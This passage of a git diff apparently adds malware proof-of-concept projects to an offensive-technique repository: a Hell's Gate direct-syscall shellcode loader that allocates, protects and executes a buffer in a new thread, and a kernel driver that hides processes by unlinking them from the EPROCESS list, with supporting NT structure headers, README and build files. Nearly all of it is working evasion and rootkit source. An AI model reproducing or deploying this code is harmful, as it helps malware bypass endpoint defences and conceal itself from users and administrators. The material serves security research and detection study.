*((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 + && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 + && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) { + BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); + BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); + pVxTableEntry->wSystemCall = (high << 8) | low; + break; + } + + cw++; + }; + } + } + + return TRUE; +} + +BOOL Payload(PVX_TABLE pVxTable) { + NTSTATUS status = 0x00000000; + char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3"; + + // Allocate memory for the shellcode + PVOID lpAddress = NULL; + SIZE_T sDataSize = sizeof(shellcode); + HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); + + // Write Memory + VxMoveMemory(lpAddress, shellcode, sizeof(shellcode)); + + // Change page permissions + ULONG ulOldProtect = 0; + HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); + + // Create thread + HANDLE hHostThread = INVALID_HANDLE_VALUE; + HellsGate(pVxTable->NtCreateThreadEx.wSystemCall); + status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); + + // Wait for 1 seconds + LARGE_INTEGER Timeout; + Timeout.QuadPart = -10000000; + HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall); + status = HellDescent(hHostThread, FALSE, &Timeout); + + return TRUE; +} + +PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { + char* d = dest; + const char* s = src; + if (d < s) + while (len--) + *d++ = *s++; + else { + char* lasts = s + (len - 1); + char* lastd = d + (len - 1); + while (len--) + *lastd-- = *lasts--; + } + return dest; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/structs.h b/Win32/Proof of Concepts/HellsGate/HellsGate/structs.h new file mode 100644 index 00000000..0a5ff0f1 --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/HellsGate/structs.h @@ -0,0 +1,337 @@ +#pragma once +#include + +/*-------------------------------------------------------------------- + STRUCTURES +--------------------------------------------------------------------*/ +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _TEB { + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + PVOID RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _INITIAL_TEB { + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} INITIAL_TEB, * PINITIAL_TEB; \ No newline at end of file diff --git a/Win32/Proof of Concepts/HellsGate/README.md b/Win32/Proof of Concepts/HellsGate/README.md new file mode 100644 index 00000000..5954d33a --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/README.md @@ -0,0 +1,21 @@ +## Hell's Gate ## + +Original C Implementation of the Hell's Gate VX Technique +
+
+Link to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf +
PDF also included in this repository. +
+
+Authors: +* Paul Laîné (@am0nsec) +* smelly__vx (@RtlMateusz) +
+ +### Update ### +Please note: +* We are not claiming that this is ground-breaking as many people have been using this kind of technique for many years; +* We are not claiming that this is the perfect and most optimised way to archive the objective. This is just one example on how to implementation the technique; +* Judging the idea/technique/project/research solely on the name is petty to say the least and definitively childish; and +* Any recommendation and/or ideas will always be welcome, just open an issue in this repository. + diff --git a/Win32/Proof of Concepts/HellsGate/hells-gate.pdf b/Win32/Proof of Concepts/HellsGate/hells-gate.pdf new file mode 100644 index 00000000..5cfa4e04 Binary files /dev/null and b/Win32/Proof of Concepts/HellsGate/hells-gate.pdf differ diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.c b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.c new file mode 100644 index 00000000..626222e2 --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.c @@ -0,0 +1,175 @@ +#ifndef CXX_HIDEPROCESS_H +# include "HideProcess.h" +#endif + +ULONG_PTR ActiveOffsetPre = 0; +ULONG_PTR ActiveOffsetNext = 0; +ULONG_PTR ImageName = 0; +WIN_VERSION WinVersion = WINDOWS_UNKNOW; + +NTSTATUS +DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath) +{ + DbgPrint("DriverEntry\r\n"); + + DriverObject->DriverUnload = UnloadDriver; + + WinVersion = GetWindowsVersion(); + + switch(WinVersion) + { +#ifdef _WIN32 + case WINDOWS_XP: //32Bits + { + + ActiveOffsetPre = 0x8c; + ActiveOffsetNext = 0x88; + ImageName = 0x174; + break; + } +#else + case WINDOWS_7: //64Bits + { + ActiveOffsetPre = 0x190; + ActiveOffsetNext = 0x188; + ImageName = 0x2e0; + break; + } +#endif + default: + return STATUS_NOT_SUPPORTED; + } + + HideProcess("explorer.exe"); + HideProcess("notepad.exe"); + return STATUS_SUCCESS; +} + +VOID HideProcess(char* ProcessName) +{ + PEPROCESS CurrentProcess = NULL; + PEPROCESS PreProcess = NULL; + PLIST_ENTRY Temp = NULL; + + if(!ProcessName) + return; + + CurrentProcess = PsGetCurrentProcess(); //System EProcess + PreProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)CurrentProcess + ActiveOffsetPre))) - ActiveOffsetNext); + + while (CurrentProcess != PreProcess) + { + //DbgPrint("%s\r\n",(char*)((ULONG_PTR)CurrentProcess + ImageName)); + if(strcmp((char*)((ULONG_PTR)CurrentProcess + ImageName), ProcessName) == 0) + { + Temp = (PLIST_ENTRY)((ULONG_PTR)CurrentProcess + ActiveOffsetNext); + + if (MmIsAddressValid(Temp)) + { + RemoveEntryList(Temp); + } + break; + } + + CurrentProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)CurrentProcess + ActiveOffsetNext))) - ActiveOffsetNext); + } +} + +VOID UnloadDriver(PDRIVER_OBJECT DriverObject) +{ + DbgPrint("UnloadDriver\r\n"); +} + +WIN_VERSION GetWindowsVersion() +{ + RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; + pfnRtlGetVersion RtlGetVersion = NULL; + WIN_VERSION WinVersion; + WCHAR szRtlGetVersion[] = L"RtlGetVersion"; + + RtlGetVersion = (pfnRtlGetVersion)GetFunctionAddressByName(szRtlGetVersion); + + if (RtlGetVersion) + { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); + } + else + { + PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL); + } + + //x64λ֧łÖ + if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7600) + { + DbgPrint("WINDOWS 7\r\n"); + WinVersion = WINDOWS_7_7600; + } + else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7601) + { + DbgPrint("WINDOWS 7\r\n"); + WinVersion = WINDOWS_7_7601; + } + else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 2 && osverInfo.dwBuildNumber == 9200) + { + DbgPrint("WINDOWS 8\r\n"); + WinVersion = WINDOWS_8_9200; + } + else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 3 && osverInfo.dwBuildNumber == 9600) + { + DbgPrint("WINDOWS 8.1\r\n"); + WinVersion = WINDOWS_8_9600; + } + else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10240) + { + DbgPrint("WINDOWS 10 10240\r\n"); + WinVersion = WINDOWS_10_10240; + } + else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10586) + { + DbgPrint("WINDOWS 10 10586\r\n"); + WinVersion = WINDOWS_10_10586; + } + else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 14393) + { + DbgPrint("WINDOWS 10 14393\r\n"); + WinVersion = WINDOWS_10_14393; + } + else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 15063) + { + DbgPrint("WINDOWS 10 15063\r\n"); + WinVersion = WINDOWS_10_15063; + } + else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 16299) + { + DbgPrint("WINDOWS 10 16299\r\n"); + WinVersion = WINDOWS_10_16299; + } + else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 17134) + { + DbgPrint("WINDOWS 10 17134\r\n"); + WinVersion = WINDOWS_10_17134; + } + else + { + DbgPrint("This is a new os\r\n"); + WinVersion = WINDOWS_UNKNOW; + } + + return WinVersion; +} + +PVOID +GetFunctionAddressByName(WCHAR *wzFunction) +{ + UNICODE_STRING uniFunction; + PVOID AddrBase = NULL; + + if (wzFunction && wcslen(wzFunction) > 0) + { + RtlInitUnicodeString(&uniFunction, wzFunction); //łŁÁżÖ¸Őë + AddrBase = MmGetSystemRoutineAddress(&uniFunction); //ÔÚSystem ˝řłĚ µÚŇ»¸öÄŁżé Ntosknrl.exe ExportTable + } + + return AddrBase; +} + diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.h b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.h new file mode 100644 index 00000000..340768e5 --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.h @@ -0,0 +1,30 @@ +#ifndef CXX_HIDEPROCESS_H +#define CXX_HIDEPROCESS_H + +#include + +typedef enum WIN_VERSION { + WINDOWS_XP, + WINDOWS_7_7600, + WINDOWS_7_7601, + WINDOWS_8_9200, + WINDOWS_8_9600, + WINDOWS_10_10240, + WINDOWS_10_10586, + WINDOWS_10_14393, + WINDOWS_10_15063, + WINDOWS_10_16299, + WINDOWS_10_17134, + WINDOWS_UNKNOW +} WIN_VERSION; + +VOID UnloadDriver(PDRIVER_OBJECT DriverObject); +VOID HideProcess(char* ProcessName); + +WIN_VERSION GetWindowsVersion(); +PVOID +GetFunctionAddressByName(WCHAR *wzFunction); +typedef +NTSTATUS +(*pfnRtlGetVersion)(OUT PRTL_OSVERSIONINFOW lpVersionInformation); +#endif diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.sln b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.sln new file mode 100644 index 00000000..eaa334af --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.sln @@ -0,0 +1,16 @@ +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HideProcess", "HideProcess.vcxproj", "{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + WinDDK|Win32 = WinDDK|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32 + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.vcxproj b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.vcxproj new file mode 100644 index 00000000..a5e61002 --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.vcxproj @@ -0,0 +1,64 @@ + + + + + WinDDK + Win32 + + + + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41} + Win32Proj + "HideProcess" + + + + + + + + .sys + false + $(WLHBASE)\bin\x86\x86;$(WLHBASE)\bin\x86 + $(WLHBASE)\inc\api;$(WLHBASE)\inc\crt;$(WLHBASE)\inc\ddk;$(WLHBASE)\inc + + $(WLHBASE)\lib\win7\i386 + + + + + + _X86_;DBG=1 + false + false + StdCall + CompileAsC + + + + + ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies) + + + true + Native + Driver + DriverEntry + true + 0x10000 + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/ReadMe.txt b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/ReadMe.txt new file mode 100644 index 00000000..7d2033b9 --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/ReadMe.txt @@ -0,0 +1,2 @@ +HideProcess by Remove ProcessList in EPROCESS struct. +Support Windows xp and windows 7 OS, you can add other os's offset of ProcessList in EPROCESS to support more. \ No newline at end of file diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/common.h b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/common.h new file mode 100644 index 00000000..305f1774 --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/common.h @@ -0,0 +1,69 @@ +/************************************************************************************** +* AUTHOR : MZ +* DATE : 2016-8-29 +* MODULE : common.h +* +* Command: +* IOCTRL Common Header +* +* Description: +* Common data for the IoCtrl driver and application +* +**************************************************************************************** +* Copyright (C) 2010 MZ. +****************************************************************************************/ + +#pragma once + +//####################################################################################### +// D E F I N E S +//####################################################################################### + +#if DBG +#define dprintf DbgPrint +#else +#define dprintf +#endif + +//˛»Ö§łÖ·űşĹÁ´˝ÓÓĂ»§ĎŕąŘĐÔ +#define DEVICE_NAME L"\\Device\\devHideProcess" // Driver Name +#define SYMBOLIC_LINK_NAME L"\\DosDevices\\HideProcess" // Symbolic Link Name +#define WIN32_LINK_NAME "\\\\.\\HideProcess" // Win32 Link Name + +//Ö§łÖ·űşĹÁ´˝ÓÓĂ»§ĎŕąŘĐÔ +#define SYMBOLIC_LINK_GLOBAL_NAME L"\\DosDevices\\Global\\HideProcess" // Symbolic Link Name + +#define DATA_TO_APP "Hello World from Driver" + +// +// Device IO Control Codes +// +#define IOCTL_BASE 0x800 +#define MY_CTL_CODE(i) \ + CTL_CODE \ + ( \ + FILE_DEVICE_UNKNOWN, \ + IOCTL_BASE + i, \ + METHOD_BUFFERED, \ + FILE_ANY_ACCESS \ + ) + +#define IOCTL_HELLO_WORLD MY_CTL_CODE(0) +#define IOCTRL_REC_FROM_APP MY_CTL_CODE(1) +#define IOCTRL_SEND_TO_APP MY_CTL_CODE(2) + + +// +// TODO: Add your IOCTL define here +// + + + +// +// TODO: Add your struct,enum(public) define here +// + + + +/* EOF */ + diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/sources b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/sources new file mode 100644 index 00000000..102e49c7 --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/sources @@ -0,0 +1,9 @@ +TARGETNAME=HideProcess +#TARGETPATH=$(BASEDIR)\lib +TARGETPATH=obj +TARGETTYPE=DRIVER + +INCLUDES=.\ + +SOURCES=HideProcess.c + diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/struct.h b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/struct.h new file mode 100644 index 00000000..907ddf72 --- /dev/null +++ b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/struct.h @@ -0,0 +1,407 @@ +/*************************************************************************************** +* AUTHOR : MZ +* DATE : 2016-8-29 +* MODULE : struct.h +* +* Command: +* Çý¶ŻµÄÍ·ÎÄĽţ +* +* Description: +* ¶¨ŇĺһЩłŁÁż,±ÜĂâÖظ´ŔͶŻ; ÄúżÉŇÔÔÚ´ËĚíĽÓĐčŇŞµÄşŻĘý/˝áąąĚĺ +* +**************************************************************************************** + +Copyright (C) 2010 MZ. +****************************************************************************************/ + +#pragma once + +#include + +typedef long LONG; +typedef unsigned char BOOL, *PBOOL; +typedef unsigned char BYTE, *PBYTE; +typedef unsigned long DWORD, *PDWORD; +typedef unsigned short WORD, *PWORD; + +typedef void *HMODULE; +typedef long NTSTATUS, *PNTSTATUS; +typedef unsigned long DWORD; +typedef DWORD * PDWORD; +typedef unsigned long ULONG; +typedef unsigned long ULONG_PTR; +typedef ULONG *PULONG; +typedef unsigned short WORD; +typedef unsigned char BYTE; +typedef unsigned char UCHAR; +typedef unsigned short USHORT; +typedef void *PVOID; +typedef BYTE BOOLEAN; +#define SEC_IMAGE 0x01000000 + +//---------------------------------------------------- + +// PEB + +#pragma pack(4) +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, *PPEB_LDR_DATA; +#pragma pack() + +typedef struct _PEB_ORIG { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[229]; + PVOID Reserved3[59]; + ULONG SessionId; +} PEB_ORIG, *PPEB_ORIG; + +typedef void (*PPEBLOCKROUTINE)(PVOID PebLock); + +struct _PEB_FREE_BLOCK { + struct _PEB_FREE_BLOCK *Next; + ULONG Size; +}; +typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK; +typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK; + +typedef struct _RTL_DRIVE_LETTER_CURDIR { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + ULONG MaximumLength; + ULONG Length; + ULONG Flags; + ULONG DebugFlags; + PVOID ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StdInputHandle; + HANDLE StdOutputHandle; + HANDLE StdErrorHandle; + UNICODE_STRING CurrentDirectoryPath; + HANDLE CurrentDirectoryHandle; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + ULONG StartingPositionLeft; + ULONG StartingPositionTop; + ULONG Width; + ULONG Height; + ULONG CharWidth; + ULONG CharHeight; + ULONG ConsoleTextAttributes; + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopName; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PPEBLOCKROUTINE FastPebLockRoutine; + PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID *KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PPEB_FREE_BLOCK FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG 